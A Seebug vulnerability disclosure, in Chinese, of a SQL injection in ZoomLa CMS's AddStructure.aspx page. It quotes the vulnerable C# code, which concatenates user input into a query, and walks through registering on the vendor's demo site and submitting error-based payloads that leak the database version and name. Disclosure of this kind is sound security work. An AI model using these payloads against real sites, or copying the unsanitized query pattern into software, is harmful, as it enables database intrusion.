逐浪CMS某处SQL注入一枚

2014-08-06T00:00:00
ID SSV:94250
Type seebug
Reporter Root
Modified 2014-08-06T00:00:00

Description

简要描述:

逐浪最新版 注入一枚

详细说明:

最新版默认是可以注册用户的

http://demo.zoomla.cn/User/login.aspx

注册用户 我这里用的是

test123

111111

登录 然后访问

demo.zoomla.cn/User/UserZone/AddStructure.aspx

主要代码是

protected void Button1_Click(object sender, EventArgs e) { if (base.Request.QueryString["ID"] != null) { int iD = DataConverter.CLng(base.Request.QueryString["ID"]); this.model = this.bll.Select(iD); this.model.Name = base.Request.Form["Name"]; this.bll.Update(this.model); function.JsAlert("修改成功!", "Structure.aspx"); } else if ((this.TxtProjectName.Text.Trim() != null) && (this.TxtProjectName.Text.Trim() != "")) //看这里 { if (this.bll.Sel("Name='" + this.TxtProjectName.Text.Trim() + "'", "").Rows.Count > 0) 输入框没处理 存在注入 { this.LblMessage.Text = "<font color=red>此结构名已存在,请重新输入!</font>"; } else { this.model.ParentID = 0; if (base.Request.QueryString["pid"] != null) { this.model.ParentID = DataConverter.CLng(base.Request.QueryString["pid"]); } this.model.Opens = 1; this.model.Status = 0x63; if (!string.IsNullOrEmpty(base.Request["Group"])) { this.model.Group = DataConverter.CLng(base.Request.QueryString["Group"]); } else { this.model.Group = 1; } this.model.Name = this.TxtProjectName.Text.Trim(); this.model.AddTime = DateTime.Now; this.model.UserID = this.buser.GetLogin().UserID; int num2 = this.bll.Insert(this.model); if (num2 > 0) { M_UserInfo userInfo = this.buser.SeachByID(this.buser.GetLogin().UserID); userInfo.StructureID = userInfo.StructureID + num2; this.buser.UpDateUser(userInfo); base.Response.Write("<script>alert('添加成功!!!');location.href='Structure.aspx';</script>"); } this.LblMessage.Text = ""; } } else { this.LblMessage.Text = "<font color=red>请输入项目类型名称</font>"; } }

访问

demo.zoomla.cn/User/UserZone/AddStructure.aspx

输入框输入

1' and (select @@version)>0--

点击提交

<img src="https://images.seebug.org/upload/201408/05193851ccb1256d61e3bb58f33ba2439bb45afa.png" alt="61.png" width="600" onerror="javascript:errimg(this);">

<img src="https://images.seebug.org/upload/201408/05193926a5d18e33f1f02cfd9d9b3bee6e0e5875.png" alt="62.png" width="600" onerror="javascript:errimg(this);">

输入框输入的

1' and (select db_name() )&gt;0--

<img src="https://images.seebug.org/upload/201408/0519404650754875b89ac472f13cb6599245c868.png" alt="63.png" width="600" onerror="javascript:errimg(this);">

漏洞证明:

<img src="https://images.seebug.org/upload/201408/06154253d1ed37232396d62e2f138126aee2e717.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">